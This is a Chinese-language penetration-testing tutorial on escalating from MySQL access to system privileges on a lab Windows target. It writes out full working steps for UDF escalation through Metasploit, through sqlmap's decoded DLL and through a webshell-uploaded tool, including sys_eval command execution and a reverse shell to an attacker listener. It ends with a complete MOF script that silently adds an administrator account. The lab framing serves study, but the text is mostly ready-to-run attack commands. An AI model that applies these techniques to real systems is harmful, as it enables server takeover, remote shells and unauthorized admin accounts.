一、Mysql提权
UDF提权
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。
通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。
利用条件
- mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
- mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
- 可以将udf.dll写入到相应目录的权限。
- 知道root账号密码
获取数据库账户密码方式
1.对于CMS,查找配置文件(inc.php/config.php/connect.php)
2.查找Mysql安装目录,在安装目录“/data/mysql/user.myd”中存放了root账号密码,可通过md5解密获得。
3.使用查询语句进行查询
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
可能会用到的mysql语句
select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。
利用msf导入dll提权
靶场:win7 phpstudy
首先将靶机的mysql数据库开启远程连接
#使用mysql数据库
use mysql;
#意思是将root用户在所有主机上的所有数据库的所有权限授予root用户
#并通过密码进行身份验证。
#允许外联
grant all privileges on *.* to root@'%' identified by '密码';
#刷新配置
执行flush privileges;
进入msf模块
使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权
use exploit/meterpreter/mysql/mysql_udf_payload #进入mysql udf模块
set payload windows/meterpreter/reverse_tcp #随便设置的 udf提权不需要监听
set rhost 靶机ip
set password 靶机数据库密码
exploit
如果出现此界面说明成功运行
等待后靶机plugin目录下(之前自己创建的)会出现一个dll文件
之后利用mysql工具(navicat)连接靶机数据库
执行命令下面命令查看dll是否导入成功,并且新建函数sys_exec
select *from func;
会发现出现了一个sys_exec函数
sys_exec函数无回显,使用创建的dll生成自建函数sys_eval(声明一下sys_eval 这两个函数都是msf生成的dll文件中的函数 需要声明才可以使用)
create functions sys_eval returns string soname 'dll文件名称'
#dll文件的名称在msf中可以看到
最后使用sys_eval函数调用靶机cmd执行命令
select sys_eval('whoami'); #查询靶机的用户
利用sqlmap进行提权
sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\目录下存放着lib_mysqludf_sys.dll
在此目录下有一个32位和64位目录
需要根据靶机的mysql 选取合适的dll文件
查询靶机mysql的位数
select @@version_compile_os, @@version_compile_machine;
我靶机mysql为32位 选择32位的dll文件
sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。
将32位的dll文件复制到/extra/cloak目录下
使用命令 进行解码
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
之后将lib_mysqludf_sys_32.dll文件进行16进制处理
注意此处 连接本机的mysql数据库
SELECT HEX(LOAD_FILE('dll文件路径')) INTO DUMPFILE 'c:/xxxx.txt'(目标文件生成路径);
注意 secure_file_priv配置为空
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
此处之后是靶机的mysql
打开navcat,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容
create table udftmp (udf LONGBLOB); #创建表存放二进制数据
在udftmp中写入udf文件的十六进制内容
INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));
将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
SELECT @@plugin_dir; //查看plugin路径
SELECT udf from udftmp INTO DUMPFILE "plugin路径"; //这里windows下目录结构要进行转义双写
在靶机的plugin 中出现了 写入的dll文件
执行下面语句,创建函数sys_eval (将上一步的删除)
create function sys_eval returns string soname 'udf.dll';
执行命令查看当前靶机用户
select sys_eval('whoami');
利用udf提权工具提权
利用前提
- 利用大马查询mysql版本、数据库用户、安装目录以及plugin路径
- 如果不存在相关路径,可以通过大马进行创建
- 在my.ini中添加属性“secure_file_priv = ’ '”
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
利用大马将提权脚本上传到 可访问到的路径下(phpstudy/www)
之后访问提权脚本文件
输入靶机数据库地址 数据库用户名称 数据库用户密码 数据库名登录
第一步点击导出udf
在你的靶机plugin目录下就会出现一个dll文件
第二步点击提交自带命令(创建cmdshell函数)
第三步 使用cmdshell函数调用cmd查询靶机当前用户
成功显示
还可以利用此工具进行反弹shell
点击自带命令 选择创建反弹函数 点击提交
利用语句
select backshell('你的ip',12345) //反弹12345端口为默认端口
nc -l -p 12345 //攻击机监听12345端口
攻击机监听12345端口
执行命令 select backshell(‘ip地址,12345’)
反弹shell成功
mof提权
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译
mof提权原理
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
mof影响版本
- windows 03及以下版本
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
- secure-file-priv参数不为null
使用下列sql语句替换系统自身的mof文件
select load_file('自己mof文件的路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
mof文件代码如下
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
在其中 下列语句为 添加管理员用户 账户为admin 密码为 admin
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\"
参考文章:
https://blog.csdn.net/qq_44159028/article/details/121193134
https://www.cnblogs.com/xishaonian/p/6384535.html